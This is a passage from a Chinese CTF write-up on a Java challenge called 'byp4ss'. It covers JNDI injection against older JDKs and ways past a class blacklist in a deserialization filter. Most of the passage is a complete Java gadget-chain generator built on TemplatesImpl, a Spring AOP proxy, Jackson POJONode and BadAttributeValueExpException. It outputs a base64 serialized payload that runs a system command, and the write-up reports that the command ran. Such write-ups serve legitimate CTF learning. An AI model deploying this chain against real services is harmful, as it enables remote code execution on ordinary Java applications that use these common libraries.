java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar byp4ss.jar

打上断点就可调试

9.2indexController路由存在漏洞点

参数base64,jndi

9.3思路一:jndi远程注入

Byp4ssApplication

System.setProperty("com.sun.jndi.ldap.object.trustSerialData", "false")

这个设置的含义是:禁止 LDAP 引用远程对象时进行反序列化操作,可以尝试传统的远程加载jndi服务。

传统的远程加载jndi服务加载类的方法要依赖于启动jar包的java版本,只要java版本小于:1.8u191就可以攻击成功

9.4思路二:java原生反序列化攻击

需要将重点放在反序列化攻击上,寻找绕过resolveClass中类名检测的方法

代码中禁止了以下类的反序列化:

ConcurrentSkipListMap
HashMap
HashTable
org.apache.commons.collections.functors 包下的类

寻找不在黑名单gadet中的链条

根据lib依赖的组件和版本使用工具生成反序列化链

9.5绕过禁用的反序列化类

生成传入报错因为禁用了hashmap类的反序列化

所以我们要找其他的gadet片段替换绕过,找的是toString方法->getter方法

反序列化,类被禁用找其他gadet推荐项目:LxxxSec/CTF-Java-Gadget: CTF-Java-Gadget专注于收集CTF中Java赛题的反序列化片段

从这个项目中找到下面的反序列化链

package com.ctf.byp4ss.controller;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class POJOJackson {
    public static void main(String[] args) throws Exception{
        byte[] code = getTemplates();
        byte[][] codes = {code};
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "useless");
        setFieldValue(templates, "_tfactory",  new TransformerFactoryImpl());
        setFieldValue(templates, "_bytecodes", codes);
        // 删除 BaseJsonNode#writeReplace 方法用于顺利序列化
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
        ctClass0.removeMethod(writeReplace);
        ctClass0.toClass();

        POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));

        BadAttributeValueExpException bave = new BadAttributeValueExpException(null);
        setFieldValue(bave, "val", node);

        byte[] bytes = serialize(bave);
        System.out.println(Base64.getEncoder().encodeToString(bytes));
    }
    public static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        return baos.toByteArray();
    }
    public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
        return proxy;
    }
    public static byte[] getTemplates() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("MyTemplate");
        template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"calc\");";
        template.makeClassInitializer().insertBefore(block);
        return template.toBytecode();
    }
    public static void setFieldValue(Object obj, String field, Object val) throws Exception{
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
}

生成传入命令执行成功

0 条评论
某人
表情
可输入 255